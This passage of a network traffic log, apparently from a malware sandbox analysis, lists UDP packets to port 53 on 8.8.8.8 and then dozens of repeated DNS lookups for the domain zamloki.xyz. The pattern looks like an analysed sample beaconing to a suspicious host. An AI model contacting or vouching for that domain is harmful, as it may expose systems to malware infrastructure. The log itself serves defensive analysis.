Aug 4, 2021 13:56:16.229121923 CEST	53	50422	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:16.799799919 CEST	53247	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:16.828175068 CEST	53	53247	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:17.334256887 CEST	58544	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:17.365252018 CEST	53	58544	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:18.320539951 CEST	53814	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:18.351156950 CEST	53	53814	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:19.553538084 CEST	51305	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:19.578468084 CEST	53	51305	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:20.160368919 CEST	53670	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:20.189198017 CEST	53	53670	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:20.891459942 CEST	55160	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:20.916138887 CEST	53	55160	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:21.277559996 CEST	61414	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:21.312159061 CEST	53	61414	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:21.376436949 CEST	63847	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:21.409156084 CEST	53	63847	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:21.881783009 CEST	61523	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:21.915297031 CEST	53	61523	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:22.544167042 CEST	50551	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:22.569910049 CEST	53	50551	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:23.053849936 CEST	62847	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:23.086430073 CEST	53	62847	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:23.602610111 CEST	57712	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:23.627559900 CEST	53	57712	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:24.115833998 CEST	61064	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:24.143348932 CEST	53	61064	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:24.623148918 CEST	61891	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:24.658602953 CEST	53	61891	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:25.181472063 CEST	61585	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:25.206110954 CEST	53	61585	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:25.698458910 CEST	65163	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:25.727165937 CEST	53	65163	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:26.195194960 CEST	58969	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:26.232189894 CEST	53	58969	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:26.689462900 CEST	53977	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:26.714318037 CEST	53	53977	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:27.206775904 CEST	57147	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:27.239347935 CEST	53	57147	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:27.733783960 CEST	52381	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:27.760552883 CEST	53	52381	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:28.253632069 CEST	49231	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:28.279953003 CEST	53	49231	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:28.778208971 CEST	53217	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:28.813812971 CEST	53	53217	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:29.292568922 CEST	52554	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:29.318761110 CEST	53	52554	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:29.788492918 CEST	49603	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:29.816361904 CEST	53	49603	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:30.272839069 CEST	64476	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:30.301296949 CEST	53	64476	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:30.792058945 CEST	49975	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:30.819806099 CEST	53	49975	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:31.290802956 CEST	57701	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:31.320698023 CEST	53	57701	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:31.788398027 CEST	60334	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:31.813414097 CEST	53	60334	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:32.288714886 CEST	64958	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:32.321347952 CEST	53	64958	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:32.820024014 CEST	58504	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:32.847467899 CEST	53	58504	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:33.344008923 CEST	64971	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:33.373590946 CEST	53	64971	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:33.864207029 CEST	58041	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:33.891801119 CEST	53	58041	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:34.371332884 CEST	57764	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:34.404073000 CEST	53	57764	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:34.903304100 CEST	57973	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:34.931296110 CEST	53	57973	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:35.401397943 CEST	63286	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:35.429563999 CEST	53	63286	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:35.906177044 CEST	52589	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:35.932173967 CEST	53	52589	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:36.419403076 CEST	54875	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:36.452130079 CEST	53	54875	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:36.983506918 CEST	49862	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:37.013403893 CEST	53	49862	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:40.532720089 CEST	50119	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:40.562410116 CEST	53	50119	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:41.046365023 CEST	60159	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:41.071274042 CEST	53	60159	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:41.554698944 CEST	49464	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:41.588263035 CEST	53	49464	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:42.068218946 CEST	64650	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:42.095326900 CEST	53	64650	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:42.582041979 CEST	52633	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:42.607347012 CEST	53	52633	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:43.098584890 CEST	56124	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:43.123317003 CEST	53	56124	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:43.647092104 CEST	55552	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:43.671926975 CEST	53	55552	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:44.162750006 CEST	60813	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:44.187822104 CEST	53	60813	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:44.659657955 CEST	50930	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:44.685833931 CEST	53	50930	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:45.168087959 CEST	51582	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:45.193837881 CEST	53	51582	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:45.684125900 CEST	56831	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:45.709059000 CEST	53	56831	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:46.176251888 CEST	56981	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:46.202071905 CEST	53	56981	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:46.689388990 CEST	63599	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:46.724630117 CEST	53	63599	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:47.290242910 CEST	61009	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:47.317720890 CEST	53	61009	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:47.810053110 CEST	57676	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:47.838242054 CEST	53	57676	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:48.354041100 CEST	50687	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:48.381927013 CEST	53	50687	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:48.871666908 CEST	53246	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:48.907267094 CEST	53	53246	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:49.469949961 CEST	60242	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:49.502697945 CEST	53	60242	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:49.981715918 CEST	49674	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:50.008225918 CEST	53	49674	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:50.505332947 CEST	50811	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:50.533073902 CEST	53	50811	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:51.045891047 CEST	64331	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:51.071089983 CEST	53	64331	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:51.570015907 CEST	56789	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:51.597728968 CEST	53	56789	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:52.132199049 CEST	63680	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:52.160860062 CEST	53	63680	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:52.606731892 CEST	59706	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:52.634488106 CEST	53	59706	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:53.142566919 CEST	55029	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:53.167526960 CEST	53	55029	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:53.646975040 CEST	51986	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:53.672298908 CEST	53	51986	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:54.177431107 CEST	64913	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:54.201951981 CEST	53	64913	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:54.647516966 CEST	58438	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:54.683020115 CEST	53	58438	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:55.166013956 CEST	49414	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:55.204436064 CEST	53	49414	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:55.390984058 CEST	61135	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:55.427470922 CEST	53	61135	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:55.674062014 CEST	49373	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:55.700114965 CEST	53	49373	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:56.159502029 CEST	59258	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:56.187402964 CEST	53	59258	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:56.658041000 CEST	52434	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:56.695103884 CEST	53	52434	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:57.180525064 CEST	56456	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:57.206475019 CEST	53	56456	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:57.254946947 CEST	53715	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:57.297611952 CEST	53	53715	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:57.669012070 CEST	60677	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:57.696487904 CEST	53	60677	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:58.175077915 CEST	59658	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:58.202625990 CEST	53	59658	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:58.696080923 CEST	56873	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:58.726531029 CEST	53	56873	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:59.212419033 CEST	51402	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:59.239981890 CEST	53	51402	8.8.8.8	192.168.2.5
Aug 4, 2021 13:56:59.753595114 CEST	61487	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:56:59.781330109 CEST	53	61487	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:00.241873980 CEST	59026	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:00.269613028 CEST	53	59026	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:00.755461931 CEST	58616	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:00.780440092 CEST	53	58616	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:01.249694109 CEST	49232	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:01.282202959 CEST	53	49232	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:01.776106119 CEST	55390	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:01.803677082 CEST	53	55390	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:02.260296106 CEST	61057	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:02.285224915 CEST	53	61057	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:02.752132893 CEST	62975	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:02.780189991 CEST	53	62975	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:03.234347105 CEST	62623	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:03.261065960 CEST	53	62623	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:03.769252062 CEST	60626	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:03.793875933 CEST	53	60626	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:04.251008034 CEST	64199	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:04.275651932 CEST	53	64199	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:04.764283895 CEST	64289	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:04.792046070 CEST	53	64289	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:05.550112963 CEST	63509	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:05.585371971 CEST	53	63509	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:06.069149971 CEST	62707	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:06.093858004 CEST	53	62707	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:06.970571041 CEST	60328	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:06.996740103 CEST	53	60328	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:08.333352089 CEST	51927	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:08.360383034 CEST	53	51927	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:08.840665102 CEST	62279	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:08.868594885 CEST	53	62279	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:09.344974995 CEST	58156	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:09.375910044 CEST	53	58156	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:09.857515097 CEST	61329	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:09.885045052 CEST	53	61329	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:10.362334013 CEST	55689	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:10.390500069 CEST	53	55689	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:10.879717112 CEST	56804	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:10.904387951 CEST	53	56804	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:11.385025978 CEST	59651	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:11.411501884 CEST	53	59651	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:11.897370100 CEST	54342	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:11.923295021 CEST	53	54342	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:12.382615089 CEST	62853	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:12.411221027 CEST	53	62853	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:12.895447016 CEST	55957	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:12.922396898 CEST	53	55957	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:13.424220085 CEST	56417	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:13.450777054 CEST	53	56417	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:13.933676004 CEST	63649	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:13.962219000 CEST	53	63649	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:14.474338055 CEST	63385	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:14.508455038 CEST	53	63385	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:14.985579967 CEST	57985	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:15.016484022 CEST	53	57985	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:15.473181009 CEST	53746	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:15.506649971 CEST	53	53746	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:16.002310991 CEST	63772	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:16.026918888 CEST	53	63772	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:16.484733105 CEST	53339	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:16.510914087 CEST	53	53339	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:17.175055981 CEST	64282	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:17.201148033 CEST	53	64282	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:17.664470911 CEST	60790	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:17.690973043 CEST	53	60790	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:18.169244051 CEST	65223	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:18.199182987 CEST	53	65223	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:18.659034014 CEST	61463	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:18.683728933 CEST	53	61463	8.8.8.8	192.168.2.5
Aug 4, 2021 13:57:19.162589073 CEST	57450	53	192.168.2.5	8.8.8.8
Aug 4, 2021 13:57:19.188829899 CEST	53	57450	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 4, 2021 13:55:50.772980928 CEST	192.168.2.5	8.8.8.8	0x26d5	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:51.344713926 CEST	192.168.2.5	8.8.8.8	0x83b3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:51.801749945 CEST	192.168.2.5	8.8.8.8	0x4fdb	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:52.422632933 CEST	192.168.2.5	8.8.8.8	0xf124	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:52.976325035 CEST	192.168.2.5	8.8.8.8	0xf931	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:53.525620937 CEST	192.168.2.5	8.8.8.8	0x8356	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:54.057594061 CEST	192.168.2.5	8.8.8.8	0x10e4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:54.592746973 CEST	192.168.2.5	8.8.8.8	0xebd1	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:55.170099974 CEST	192.168.2.5	8.8.8.8	0xc018	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:55.717700958 CEST	192.168.2.5	8.8.8.8	0x5f8	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:56.286509037 CEST	192.168.2.5	8.8.8.8	0xc5c6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:56.874667883 CEST	192.168.2.5	8.8.8.8	0xb19a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:57.423477888 CEST	192.168.2.5	8.8.8.8	0x5b06	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:57.983967066 CEST	192.168.2.5	8.8.8.8	0xaca6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:58.699152946 CEST	192.168.2.5	8.8.8.8	0x92f0	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:59.255558968 CEST	192.168.2.5	8.8.8.8	0xab6b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:59.966845989 CEST	192.168.2.5	8.8.8.8	0x546	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:01.589143038 CEST	192.168.2.5	8.8.8.8	0x33d8	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:02.264506102 CEST	192.168.2.5	8.8.8.8	0x5605	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:02.854991913 CEST	192.168.2.5	8.8.8.8	0x3b62	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:03.437350988 CEST	192.168.2.5	8.8.8.8	0x9a13	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:03.990529060 CEST	192.168.2.5	8.8.8.8	0x7b52	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:04.588155031 CEST	192.168.2.5	8.8.8.8	0x149c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:05.181015015 CEST	192.168.2.5	8.8.8.8	0x36b0	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:05.736706972 CEST	192.168.2.5	8.8.8.8	0x59cf	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:06.292195082 CEST	192.168.2.5	8.8.8.8	0xa900	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:06.854794025 CEST	192.168.2.5	8.8.8.8	0xecb	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:07.440531015 CEST	192.168.2.5	8.8.8.8	0x1340	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:07.985344887 CEST	192.168.2.5	8.8.8.8	0x1b84	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:08.547781944 CEST	192.168.2.5	8.8.8.8	0x845f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:09.133086920 CEST	192.168.2.5	8.8.8.8	0xe918	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:09.803711891 CEST	192.168.2.5	8.8.8.8	0x7397	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:10.393202066 CEST	192.168.2.5	8.8.8.8	0xa773	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:11.057431936 CEST	192.168.2.5	8.8.8.8	0x3e1d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:11.581376076 CEST	192.168.2.5	8.8.8.8	0xa575	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:12.108580112 CEST	192.168.2.5	8.8.8.8	0x4f05	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:12.683875084 CEST	192.168.2.5	8.8.8.8	0xd48d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:13.253194094 CEST	192.168.2.5	8.8.8.8	0xbb6d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:13.836211920 CEST	192.168.2.5	8.8.8.8	0x542d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:14.486243963 CEST	192.168.2.5	8.8.8.8	0x6459	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:15.033827066 CEST	192.168.2.5	8.8.8.8	0x1025	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:15.602394104 CEST	192.168.2.5	8.8.8.8	0xc5dd	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:16.202543974 CEST	192.168.2.5	8.8.8.8	0x731b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:16.799799919 CEST	192.168.2.5	8.8.8.8	0x138a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:17.334256887 CEST	192.168.2.5	8.8.8.8	0xcd45	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:18.320539951 CEST	192.168.2.5	8.8.8.8	0xd2af	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:19.553538084 CEST	192.168.2.5	8.8.8.8	0xd39b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:20.160368919 CEST	192.168.2.5	8.8.8.8	0xaa15	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:20.891459942 CEST	192.168.2.5	8.8.8.8	0xb628	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:21.376436949 CEST	192.168.2.5	8.8.8.8	0x1b7d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:21.881783009 CEST	192.168.2.5	8.8.8.8	0x4bb2	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:22.544167042 CEST	192.168.2.5	8.8.8.8	0x68fc	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:23.053849936 CEST	192.168.2.5	8.8.8.8	0xb928	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:23.602610111 CEST	192.168.2.5	8.8.8.8	0x65a0	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:24.115833998 CEST	192.168.2.5	8.8.8.8	0xd043	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:24.623148918 CEST	192.168.2.5	8.8.8.8	0xe7e8	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:25.181472063 CEST	192.168.2.5	8.8.8.8	0xa10a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:25.698458910 CEST	192.168.2.5	8.8.8.8	0x7f42	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:26.195194960 CEST	192.168.2.5	8.8.8.8	0xed6e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:26.689462900 CEST	192.168.2.5	8.8.8.8	0xba4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
